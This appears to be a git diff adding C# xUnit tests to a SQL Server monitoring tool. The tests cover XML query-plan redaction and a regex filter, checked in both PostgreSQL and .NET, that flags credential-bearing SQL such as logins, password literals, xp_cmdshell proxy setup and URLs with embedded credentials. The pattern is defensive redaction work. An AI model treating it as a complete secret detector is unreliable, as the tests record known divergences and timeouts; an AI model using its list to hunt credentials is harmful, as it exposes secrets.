+    // ── preservation in the rewrite ──
+
+    [Fact]
+    public void TheRewriteKeepsTheDeclarationOnlyWhenOnePresent()
+    {
+        string withDecl = "<?xml version=\"1.0\" encoding=\"utf-16\"?>\r\n<r a=\"CANARY\"/>";
+        string without = "<r a=\"CANARY\"/>";
+
+        string r1 = Run(withDecl)!;
+        string r2 = Run(without)!;
+
+        Assert.StartsWith("<?xml version=\"1.0\" encoding=\"utf-16\"?>", r1);
+        Assert.DoesNotContain("<?xml", r2);
+    }
+
+    [Fact]
+    public void TheRewriteKeepsPrefixesNamespacesEmptyVersusFullElementsCommentsAndInstructions()
+    {
+        const string xml =
+            "<root xmlns=\"urn:one\" xmlns:p=\"urn:two\" CANARY=\"x\" v=\"CANARY\"><p:item p:k=\"1\"/><full></full><!--a comment--><?pi some data?><p:wrap><p:inner/></p:wrap></root>";
+
+        string result = Run(xml)!;
+        var doc = XDocument.Parse(result);
+
+        Assert.Equal("urn:one", doc.Root!.Name.NamespaceName);
+        Assert.Equal("urn:two", doc.Root.Element(XNamespace.Get("urn:two") + "item")!.Name.NamespaceName);
+        Assert.Contains("xmlns:p=\"urn:two\"", result);
+        Assert.Contains("<p:item p:k=\"1\" />", result);
+        Assert.Contains("<full></full>", result);
+        Assert.Contains("<!--a comment-->", result);
+        Assert.Contains("<?pi some data?>", result);
+        Assert.Contains("<p:inner />", result);
+        Assert.Equal(P, (string?)doc.Root.Attribute("v"));
+        Assert.Equal("x", (string?)doc.Root.Attribute("CANARY"));
+    }
+
+    [Fact]
+    public void TheRewriteKeepsTheWhitespaceBetweenElements()
+    {
+        const string xml = "<r>\r\n  <a x=\"CANARY\">\r\n    <b/>\r\n  </a>\r\n</r>";
+
+        string result = Run(xml)!;
+
+        // the reader normalizes a literal CR LF between elements to LF (XML 1.0 section 2.11); that is the only
+        // change besides the withheld value and the space the writer puts before an empty element's slash
+        Assert.Equal("<r>\n  <a x=\"" + PText + "\">\n    <b />\n  </a>\n</r>", result);
+    }
+
+    [Theory]
+    [InlineData("spill_plan.sqlplan")]
+    [InlineData("key_lookup_plan.sqlplan")]
+    [InlineData("udf_plan.sqlplan")]
+    public void ARealPlan_ComesBackEqualToItself_ExceptTheWithheldValues(string file)
+    {
+        string xml = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "OriginPlans", file));
+        const string hitValue = "false";
+        string? result = Run(xml, s => s == hitValue);
+        Assert.NotSame(xml, result);   // every plan holds a false flag
+
+        var expected = XDocument.Parse(xml);
+        foreach (var a in expected.Descendants().Attributes().Where(a => a.Value == hitValue).ToList())
+            a.Value = P;
+        var actual = XDocument.Parse(result!);
+
+        Assert.True(XNode.DeepEquals(expected, actual), "only the withheld values may differ");
+        // multi-line statement text survives as the same characters (CR LF inside an attribute is a character reference)
+        Assert.Equal(
+            expected.Descendants().Select(e => (string?)e.Attribute("StatementText")).Where(v => v is not null),
+            actual.Descendants().Select(e => (string?)e.Attribute("StatementText")).Where(v => v is not null));
+    }
+
+    // ── failure rules and the budget ──
+
+    [Fact]
+    public void CutXml_IsJudgedWhole_DecodedBeforeJudging()
+    {
+        const string cutNamed = "<r><a>CREATE&#xD;&#xA;LOGIN</a><b";
+        const string cutClean = "<r><a>plain</a><b";
+
+        Assert.Equal(P, Run(cutNamed, s => s.Contains("CREATE\r\nLOGIN", StringComparison.Ordinal)));
+        Assert.Same(cutClean, Run(cutClean));
+        Assert.Equal(P, Run("<r><a>CANARY</a><b", Canary));
+    }
+
+    [Fact]
+    public void ADtd_IsJudgedWhole()
+    {
+        const string named = "<!DOCTYPE r [<!ENTITY e \"x\">]><r a=\"CANARY\">&e;</r>";
+        const string clean = "<!DOCTYPE r [<!ENTITY e \"x\">]><r>&e;</r>";
+
+        Assert.Equal(P, Run(named));
+        Assert.Same(clean, Run(clean));
+    }
+
+    [Fact]
+    public void ASpentBudgetAfterTheFirstNode_GivesTheWholePlaceholder()
+    {
+        string xml = Fixture("two_statements.xml").Replace("CANARY", "plain", StringComparison.Ordinal);
+        int asked = 0;
+
+        string? pass1 = Run(xml, spent: () => ++asked > 1);
+
+        Assert.Equal(P, pass1);
+
+        // spent only once pass 2 is running: still the whole placeholder, never a half-written document
+        string named = Fixture("two_statements.xml");
+        int asks = 0;
+        int asksAtFirstHit = 0;
+        Run(named, v =>
+        {
+            bool hit = Canary(v);
+            if (hit && asksAtFirstHit == 0)
+                asksAtFirstHit = asks;
+            return hit;
+        }, () => { asks++; return false; });
+        Assert.True(asksAtFirstHit > 0 && asks > asksAtFirstHit + 10, "pass 2 must ask the budget after pass 1 stopped");
+        int calls = 0;
+
+        string? pass2 = Run(named, spent: () => ++calls > asksAtFirstHit + 10);
+
+        Assert.Equal(P, pass2);
+    }
+
+    [Fact]
+    public void AJudgeThatThrows_FailsClosedToTheWholePlaceholder()
+    {
+        string? result = Run("<r a=\"v\"/>", _ => throw new InvalidOperationException("boom"));
+
+        Assert.Equal(P, result);
+    }
+
+    [Fact]
+    public void TheParseTimeIsChargedToTheCaller()
+    {
+        var charged = new List<TimeSpan>();
+
+        Run(Fixture("two_statements.xml"), charge: charged.Add);
+
+        Assert.NotEmpty(charged);
+        Assert.All(charged, t => Assert.True(t >= TimeSpan.Zero));
+    }
+
+    // ── maxOutputChars (P3, M5, L-I) ──
+
+    private static string PrettyPlan(int statements, int bodyLinesPerStatement, int canaryStatement)
+    {
+        var sb = new StringBuilder();
+        sb.Append("<ShowPlanXML>\r\n");
+        for (int i = 0; i < statements; i++)
+        {
+            string text = i == canaryStatement ? "SELECT CANARY" : "SELECT " + i;
+            sb.Append("  <StmtSimple StatementText=\"").Append(text).Append("\" StatementId=\"").Append(i).Append("\">\r\n");
+            for (int l = 0; l < bodyLinesPerStatement; l++)
+                sb.Append("    <RelOp NodeId=\"").Append(l).Append("\" PhysicalOp=\"Scan\" ParameterCompiledValue=\"N'x'\"/>\r\n");
+            sb.Append("  </StmtSimple>\r\n");
+        }
+        sb.Append("</ShowPlanXML>");
+        return sb.ToString();
+    }
+
+    [Fact]
+    public void WithAMaxOutput_ANamedStatementTextThatStarts2KbBeforeTheCutIsAHit()
+    {
+        // each statement is ~2 KB of body lines; the named one starts well before the cut at ~8 KB
+        string xml = PrettyPlan(statements: 20, bodyLinesPerStatement: 20, canaryStatement: 3);
+        int named = xml.IndexOf("SELECT CANARY", StringComparison.Ordinal);
+        int cutAt = named + 2048;
+        Assert.True(named > 0 && cutAt < xml.Length - 4096, "fixture shape");
+
+        string? result = Run(xml, max: cutAt);
+
+        Assert.NotSame(xml, result);
+        Assert.DoesNotContain("CANARY", result);
+        Assert.Contains("StatementText=\"" + PText + "\"", result);
+        // the rewrite goes at least to the cut, and stops short of the whole document
+        Assert.True(result!.Length >= cutAt, "result must reach the cut: " + result.Length + " vs " + cutAt);
+        Assert.True(result.Length < xml.Length, "work is bounded by the cut");
+    }
+
+    [Fact]
+    public void WithAMaxOutput_AValueWhoseNodeStartsPastTheCutIsNotJudged()
+    {
+        string xml = PrettyPlan(statements: 20, bodyLinesPerStatement: 20, canaryStatement: 18);
+        int named = xml.IndexOf("SELECT CANARY", StringComparison.Ordinal);
+
+        Assert.Same(xml, Run(xml, max: named - 4096));
+        Assert.NotSame(xml, Run(xml, max: named + 4096));
+        Assert.NotSame(xml, Run(xml));
+    }
+
+    [Fact]
+    public void WithAMaxOutput_ALongNamedAttributeThatStartsBeforeTheCutIsStillJudgedWhole()
+    {
+        string longValue = new string('x', 100_000) + " CANARY";
+        string xml = "<r>\r\n<a v=\"" + longValue + "\"/>\r\n<b/></r>";
+
+        string? result = Run(xml, max: 200);
+
+        Assert.NotSame(xml, result);
+        Assert.Contains(PText, result);
+        Assert.DoesNotContain("CANARY", result);
+    }
+
+    [Fact]
+    public void WithAMaxOutput_ACleanDocumentIsTheSameInstance()
+    {
+        string xml = PrettyPlan(statements: 20, bodyLinesPerStatement: 20, canaryStatement: -1);
+
+        Assert.Same(xml, Run(xml, max: 1000));
+    }
+
+    // ── measurements (assert correctness only; the timings are printed for the part file) ──
+
+    [Fact]
+    public void Measurement_PlanPaddedTo512Kb()
+    {
+        string plan = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "OriginPlans", "serially-parallel.sqlplan"));
+        int start = plan.IndexOf("<StmtSimple", StringComparison.Ordinal);
+        int end = plan.IndexOf("</StmtSimple>", start, StringComparison.Ordinal) + "</StmtSimple>".Length;
+        Assert.True(start > 0 && end > start);
+        string block = plan.Substring(start, end - start);
+        Assert.DoesNotContain("<StmtSimple", block.Substring(1));
+
+        var padded = new StringBuilder(plan, 600_000);
+        int insertAt = padded.ToString().IndexOf("</Statements>", StringComparison.Ordinal);
+        Assert.True(insertAt > 0);
+        var clones = new StringBuilder();
+        while (plan.Length + clones.Length < 512 * 1024)
+            clones.Append(block);
+        padded.Insert(insertAt, clones.ToString());
+        string big = padded.ToString();
+
+        // a hit in statement 1 only: the canary goes in the first statement's text
+        string firstTag = "StatementText=\"";
+        int at = big.IndexOf(firstTag, start, StringComparison.Ordinal) + firstTag.Length;
+        string hit = big.Insert(at, "CANARY ");
+
+        Assert.Same(big, Run(big));
+        double best1 = double.MaxValue;
+        for (int i = 0; i < 7; i++)
+        {
+            var sw = Stopwatch.StartNew();
+            Run(big);
+            best1 = Math.Min(best1, sw.Elapsed.TotalSeconds);
+        }
+
+        string? rewritten = Run(hit);
+        Assert.NotSame(hit, rewritten);
+        Assert.DoesNotContain("CANARY", rewritten);
+        double best2 = double.MaxValue;
+        for (int i = 0; i < 7; i++)
+        {
+            var sw = Stopwatch.StartNew();
+            Run(hit);
+            best2 = Math.Min(best2, sw.Elapsed.TotalMilliseconds);
+        }
+
+        string line = string.Create(System.Globalization.CultureInfo.InvariantCulture,
+            $"SSF-L2-MEASURE chars={big.Length} pass1_no_hit_ms={best1 * 1000:F1} pass1_Mchars_per_s={big.Length / 1e6 / best1:F1} pass2_hit_ms={best2:F1} out_chars={rewritten!.Length}");
+        TestContext.Current.SendDiagnosticMessage(line);
+        Assert.True(best1 > 0);
+    }
+
+    // ── comments and processing instructions are judged like a text node ──
+
+    [Fact]
+    public void ANamedComment_IsWithheld_AndAPlainOneIsByteIdentical()
+    {
+        const string plain = "<r><!--a plain comment--><a v=\"1\"/></r>";
+        Assert.Same(plain, Run(plain));
+
+        string? named = Run("<r><!--CANARY in a comment--><a v=\"1\"/></r>");
+
+        Assert.NotNull(named);
+        Assert.DoesNotContain("CANARY", named);
+        Assert.Contains("<!--" + P + "-->", named);
+        Assert.Contains("<a v=\"1\" />", named);
+    }
+
+    [Fact]
+    public void ANamedProcessingInstruction_IsWithheld_AndAPlainOneIsByteIdentical()
+    {
+        const string plain = "<r><?pi some data?><a v=\"1\"/></r>";
+        Assert.Same(plain, Run(plain));
+
+        string? named = Run("<r><?pi CANARY data?><a v=\"1\"/></r>");
+
+        Assert.NotNull(named);
+        Assert.DoesNotContain("CANARY", named);
+        Assert.Contains("<?pi " + P + "?>", named);
+    }
+
+    [Fact]
+    public void ANamedComment_IsAHitEvenWhenNothingElseIs_AfterTheFirstElement()
+    {
+        string? named = Run("<r><a v=\"1\"/><b/><!--CANARY--></r>");
+
+        Assert.NotNull(named);
+        Assert.DoesNotContain("CANARY", named);
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementsParityLiveTests.cs b/Darling/Darling.Tests/SensitiveStatementsParityLiveTests.cs
new file mode 100644
index 0000000000..d513102ea8
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementsParityLiveTests.cs
@@ -0,0 +1,190 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Parity of the two engines (#4348): PostgreSQL's <c>~*</c> against the shared pattern and
+/// <see cref="SensitiveStatements.Names"/> must agree on every string of the corpus. The adversarial strings
+/// are not part of the parity set: PostgreSQL's answer and time are recorded for them, without an equality
+/// assertion.
+///
+/// <para><b>#1776 own-store</b> - mints its own scratch database (<see cref="ScratchPostgres"/>) rather than
+/// sharing the live fixture, so it is deliberately NOT in the <c>live-postgres</c> collection.</para>
+/// </summary>
+[Collection("timing")]
+public sealed class SensitiveStatementsParityLiveTests
+{
+    [Fact]
+    public async Task PostgresAndTheDotNetEvaluationAgreeOnTheCorpus()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrWhiteSpace(connectionString),
+            "Set DARLING_TEST_PG to a connection string to compare the #4348 pattern in both engines.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        var disagreements = new List<string>();
+        var checkedCount = 0;
+        var all = new List<(string Text, bool Expected)>();
+        foreach (var text in SensitiveStatementCorpus.Named)
+        {
+            foreach (var variant in SensitiveStatementCorpus.Variants(text))
+            {
+                all.Add((variant, true));
+            }
+        }
+
+        foreach (var text in SensitiveStatementCorpus.NotNamed)
+        {
+            all.Add((text, false));
+        }
+
+        foreach (var (text, expected) in all)
+        {
+            var pg = await IsNamedAsync(connection, text, ct);
+            var dotnet = SensitiveStatements.Names(text);
+            checkedCount++;
+            if (pg != dotnet || pg != expected)
+            {
+                disagreements.Add($"pg={pg} dotnet={dotnet} expected={expected}: {text}");
+            }
+        }
+
+        TestContext.Current.SendDiagnosticMessage(string.Create(CultureInfo.InvariantCulture,
+            $"parity: {checkedCount} strings, {disagreements.Count} disagreements"));
+        Assert.True(disagreements.Count == 0, string.Join(Environment.NewLine, disagreements));
+    }
+
+    [Fact]
+    public async Task PostgresAnswersTheAdversarialStringsQuickly_RecordedNotCompared()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrWhiteSpace(connectionString),
+            "Set DARLING_TEST_PG to a connection string to time the #4348 adversarial strings in PostgreSQL.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        foreach (var text in SensitiveStatementCorpus.Adversarial)
+        {
+            var watch = Stopwatch.StartNew();
+            var named = await IsNamedAsync(connection, text, ct);
+            watch.Stop();
+            TestContext.Current.SendDiagnosticMessage(string.Create(CultureInfo.InvariantCulture,
+                $"pg ~* on adversarial '{text.Substring(0, 8)}...': named={named}, {watch.ElapsedMilliseconds} ms"));
+        }
+    }
+
+    /// <summary>The strings aimed at the typed-declaration alternative (#5320) carry no literal, so both engines
+    /// answer Clean, and PostgreSQL answers them quickly.</summary>
+    [Fact]
+    public async Task PostgresAndTheDotNetEvaluationAgreeOnTheTypedDeclarationAdversarialStrings()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrWhiteSpace(connectionString),
+            "Set DARLING_TEST_PG to a connection string to compare the #5320 typed-declaration strings in both engines.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        foreach (var text in SensitiveStatementCorpus.TypedDeclarationAdversarial)
+        {
+            var watch = Stopwatch.StartNew();
+            var pg = await IsNamedAsync(connection, text, ct);
+            watch.Stop();
+            var dotnet = SensitiveStatements.Names(text);
+            TestContext.Current.SendDiagnosticMessage(string.Create(CultureInfo.InvariantCulture,
+                $"pg ~* on typed-declaration string '{text.Substring(0, 8)}...': named={pg}, {watch.ElapsedMilliseconds} ms"));
+
+            Assert.False(pg, text.Substring(0, 24));
+            Assert.Equal(dotnet, pg);
+            Assert.True(watch.ElapsedMilliseconds < 2000, $"{watch.ElapsedMilliseconds} ms: {text.Substring(0, 24)}");
+        }
+    }
+
+    /// <summary>The one known divergence (#5320 L2): a typed secret-named variable followed by a dash banner, in a
+    /// value that also passes the pre-check. PostgreSQL answers Clean, quickly; the .NET judge runs out of its time
+    /// on the backtracking comment run and names the value (TimedOut). The row pins both answers.</summary>
+    [Fact]
+    public async Task PostgresAnswersTheDashBannerRowCleanWhereTheDotNetJudgeNamesItByTimeout()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrWhiteSpace(connectionString),
+            "Set DARLING_TEST_PG to a connection string to compare the #5320 dash-banner row in both engines.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        foreach (var text in SensitiveStatementCorpus.NamedByTimeoutInDotNetOnly)
+        {
+            var watch = Stopwatch.StartNew();
+            var pg = await IsNamedAsync(connection, text, ct);
+            watch.Stop();
+
+            Assert.False(pg, text.Substring(0, 24));
+            Assert.True(watch.ElapsedMilliseconds < 2000, $"{watch.ElapsedMilliseconds} ms: {text.Substring(0, 24)}");
+            Assert.Equal(SensitiveStatements.Verdict.TimedOut, SensitiveStatements.Judge(text));
+            Assert.True(SensitiveStatements.Names(text));
+        }
+    }
+
+    /// <summary>A U+212A (Kelvin sign) next to a named keyword is not a word character under the C collation,
+    /// and the .NET word class is case-sensitive so it is not one there either (#5320 L1). PostgreSQL's
+    /// answer depends on the cluster's locale, so the match runs with <c>COLLATE "C"</c> and the fact runs
+    /// on every cluster, whatever its character type (#5320 N2). Not part of the corpus: lower-casing the
+    /// sign gives an ASCII k.</summary>
+    [Fact]
+    public async Task AKelvinSignNextToANamedKeywordGetsTheSameVerdictInBothEngines_UnderTheCCollation()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrWhiteSpace(connectionString),
+            "Set DARLING_TEST_PG to a connection string to compare the #5320 Kelvin-sign case in both engines.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+
+        const string text = "x \u212Asp_addlogin 'a'";
+        var pg = await IsNamedAsync(connection, text, ct, cCollation: true);
+        var dotnet = SensitiveStatements.Names(text);
+        TestContext.Current.SendDiagnosticMessage(string.Create(CultureInfo.InvariantCulture,
+            $"kelvin sign: pg={pg} dotnet={dotnet}"));
+
+        Assert.True(dotnet);
+        Assert.Equal(dotnet, pg);
+    }
+
+    private static async Task<bool> IsNamedAsync(NpgsqlConnection connection, string text, CancellationToken ct, bool cCollation = false)
+    {
+        await using var command = new NpgsqlCommand(cCollation ? "SELECT $1 COLLATE \"C\" ~* $2" : "SELECT $1 ~* $2", connection);
+        command.Parameters.AddWithValue(text);
+        command.Parameters.AddWithValue(SensitiveStatements.Pattern);
+        return (bool)(await command.ExecuteScalarAsync(ct))!;
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementsTests.cs b/Darling/Darling.Tests/SensitiveStatementsTests.cs
new file mode 100644
index 0000000000..0145520c0f
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementsTests.cs
@@ -0,0 +1,1153 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The .NET evaluation of the shared statement filter (#4348): the translation of the pattern, its guards, the
+/// verdicts, the per-value timeout and the elapsed-time budget. The corpus is shared with the PostgreSQL
+/// parity test in <see cref="SensitiveStatementsParityLiveTests"/>.
+/// </summary>
+public sealed class SensitiveStatementsTests
+{
+    [Fact]
+    public void TheCorpusIsNamedInEveryVariant()
+    {
+        var failures = new List<string>();
+        foreach (var text in SensitiveStatementCorpus.Named)
+        {
+            foreach (var variant in SensitiveStatementCorpus.Variants(text))
+            {
+                if (!SensitiveStatements.Names(variant))
+                {
+                    failures.Add("should be named: " + variant);
+                }
+            }
+        }
+
+        Assert.True(failures.Count == 0, string.Join(Environment.NewLine, failures));
+    }
+
+    [Fact]
+    public void TheNeighboursAreNotNamed()
+    {
+        var failures = SensitiveStatementCorpus.NotNamed
+            .Where(SensitiveStatements.Names)
+            .Select(text => "should NOT be named: " + text)
+            .ToList();
+
+        Assert.True(failures.Count == 0, string.Join(Environment.NewLine, failures));
+    }
+
+    [Fact]
+    public void JudgeIsNotCleanExactlyWhenNamesIsTrue_OnTheCorpus()
+    {
+        var all = SensitiveStatementCorpus.Named.SelectMany(SensitiveStatementCorpus.Variants)
+            .Concat(SensitiveStatementCorpus.NotNamed);
+        foreach (var text in all)
+        {
+            Assert.Equal(SensitiveStatements.Judge(text) != SensitiveStatements.Verdict.Clean, SensitiveStatements.Names(text));
+        }
+    }
+
+    [Fact]
+    public void NullAndEmptyAreNeverNamed()
+    {
+        Assert.False(SensitiveStatements.Names(null));
+        Assert.False(SensitiveStatements.Names(string.Empty));
+        Assert.Equal(SensitiveStatements.Verdict.Clean, SensitiveStatements.Judge(string.Empty));
+        Assert.Null(SensitiveStatements.Text(null));
+        Assert.Equal(string.Empty, SensitiveStatements.Text(string.Empty));
+    }
+
+    /// <summary>The translated pattern is pinned as a literal: a change to the shared pattern or to the
+    /// translation has to show up here on purpose. No POSIX class survives it.</summary>
+    [Fact]
+    public void TheTranslatedPatternIsPinnedAndHasNoPosixClassLeft()
+    {
+        var translated = SensitiveStatements.TranslatedPattern;
+
+        Assert.NotNull(translated);
+        Assert.DoesNotContain("[:", translated, StringComparison.Ordinal);
+        Assert.Equal(PinnedTranslation, translated);
+    }
+
+    private const string PinnedTranslation = """
+        (?:(?<!(?-i:[0-9A-Za-z_]))(?=(?-i:[0-9A-Za-z_]))(?:(create|alter)([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+(role|user|group|subscription|server)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|password(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(=|to)?([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(e?'|u&'|[$][^0-9])|(pg)?password[\s]*=[\s]*[^$\s]|(create|alter)([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+(login|credential)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|scoped([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+credential(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|([a-z0-9_]*(password|passwd|pwd|secret)|key_source)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(=|to)?([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(n?'|e'|u&'|0x|[$][^0-9])|pwd[\s]*=[\s]*[^$@\s]|(sp_addlogin|sp_password|sp_addlinkedsrvlogin|sp_addapprole|sp_approlepassword|sp_setapprole|sp_change_users_login|sp_adddistributor|sp_changedistributor_password|sp_adddistpublisher|sp_addsubscriber|sp_link_publication|sp_control_dbmasterkey_password|sp_xp_cmdshell_proxy_account)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|(encryptbypassphrase|decryptbypassphrase|decryptbykeyautocert|decryptbykeyautoasymkey|decryptbyasymkey|decryptbycert|signbycert|signbyasymkey|pwdencrypt|pwdcompare)(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|opendatasource(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_]))|openrowset([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*[(]([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*n?'|[a-z0-9_]*(password|passwd|pwd|secret)(]|")([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*=([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(n?'|e'|u&'|0x)|([a-z0-9_]*(password|passwd|pwd|secret)|key_source)([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+((as|constant)([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)+)?[[]?[a-z_][a-z0-9_.]*]?([\s]*[(][\s0-9a-z,]{0,20}[)])?([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(:?=|default(?<=(?-i:[0-9A-Za-z_]))(?!(?-i:[0-9A-Za-z_])))([\s]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^\p{Cc}]*)*(n?'|e'|u&'|0x|[$][^0-9])))|[a-z][a-z0-9+.-]*://[^\s/@:]+:[^\s/@]+@
+        """;
+
+    [Fact]
+    public void ABackslashInTheSourceFailsTheGuard_AndEveryInputIsNamed()
+    {
+        Assert.False(SensitiveStatements.TryTranslate("a\\sb", out _));
+        var judge = SensitiveStatements.CreateJudge("a\\sb", SensitiveStatements.MatchTimeout);
+
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("SELECT 1"));
+    }
+
+    [Theory]
+    [InlineData("^abc")]
+    [InlineData("abc$")]
+    [InlineData("(a|^b)")]
+    public void AnAnchorOutsideABracketFailsTheGuard_AndEveryInputIsNamed(string source)
+    {
+        Assert.False(SensitiveStatements.TryTranslate(source, out _));
+        var judge = SensitiveStatements.CreateJudge(source, SensitiveStatements.MatchTimeout);
+
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("SELECT 1"));
+    }
+
+    [Fact]
+    public void AnUnknownPosixClassFailsTheGuard_AndEveryInputIsNamed()
+    {
+        Assert.False(SensitiveStatements.TryTranslate("[[:alpha:]]", out _));
+        var judge = SensitiveStatements.CreateJudge("[[:alpha:]]", SensitiveStatements.MatchTimeout);
+
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("SELECT 1"));
+    }
+
+    /// <summary>An anchor or a stray <c>]</c> that the guard must understand: <c>^</c> and <c>$</c> inside a
+    /// bracket are fine, and a <c>]</c> that closes no bracket is a literal (T9 needs it).</summary>
+    [Fact]
+    public void BracketsAndALiteralCloseBracketPassTheGuard()
+    {
+        Assert.True(SensitiveStatements.TryTranslate("[^$[:space:]]+(]|\")x", out var translated));
+        Assert.Equal("[^$\\s]+(]|\")x", translated);
+        Assert.True(SensitiveStatements.TryTranslate("[]^]x", out _));
+        Assert.False(SensitiveStatements.TryTranslate("[abc", out _));
+    }
+
+    /// <summary>The word-start assertion is hoisted out of the alternatives that share it (a speed-up only),
+    /// and an alternative without it stays outside the group.</summary>
+    [Fact]
+    public void TheSharedWordStartIsHoistedOutOfTheAlternatives()
+    {
+        Assert.True(SensitiveStatements.TryTranslate("[[:<:]]ab|[[:<:]]cd|ef", out var translated));
+
+        Assert.Equal("(?:(?<!(?-i:[0-9A-Za-z_]))(?=(?-i:[0-9A-Za-z_]))(?:ab|cd))|ef", translated);
+        var judge = SensitiveStatements.CreateJudge("[[:<:]]ab|[[:<:]]cd|ef", SensitiveStatements.MatchTimeout);
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("x cd"));
+        Assert.Equal(SensitiveStatements.Verdict.Named, judge("xef"));
+        Assert.Equal(SensitiveStatements.Verdict.Clean, judge("xab"));
+    }
+
+    [Fact]
+    public void ThePatternItselfPassesEveryGuard()
+    {
+        Assert.True(SensitiveStatements.TryTranslate(SensitiveStatements.Pattern, out _));
+    }
+
+    /// <summary>The .NET judge compiles the pattern as two regexes (#5320 M1), both cut out of the one shared
+    /// constant. Put back together with <c>|</c> they are exactly <see cref="SensitiveStatements.Pattern"/>. The
+    /// first is the thirteen alternatives before T10, and its translation is the literal the whole judge was before
+    /// T10 existed; the second is T10 alone. PostgreSQL still reads the whole constant.</summary>
+    [Fact]
+    public void TheTwoJudgePartsPutBackTogetherAreExactlyThePattern()
+    {
+        var count = SensitiveStatements.JudgeHeadAlternatives;
+        Assert.True(SensitiveStatements.TrySplitAlternatives(SensitiveStatements.Pattern, count, out var head, out var tail));
+
+        Assert.Equal(SensitiveStatements.Pattern, head + "|" + tail);
+        Assert.False(SensitiveStatements.TrySplitAlternatives(tail, 1, out _, out _), "the second part is one alternative");
+        Assert.True(SensitiveStatements.TrySplitAlternatives(head, count - 1, out _, out _));
+        Assert.False(SensitiveStatements.TrySplitAlternatives(head, count, out _, out _), "the first part is exactly " + count + " alternatives");
+        Assert.StartsWith("[[:<:]]([a-z0-9_]*(password|passwd|pwd|secret)|key_source)", tail, StringComparison.Ordinal);
+        Assert.True(SensitiveStatements.TryTranslate(head, out var headTranslated));
+        Assert.True(SensitiveStatements.TryTranslate(tail, out var tailTranslated));
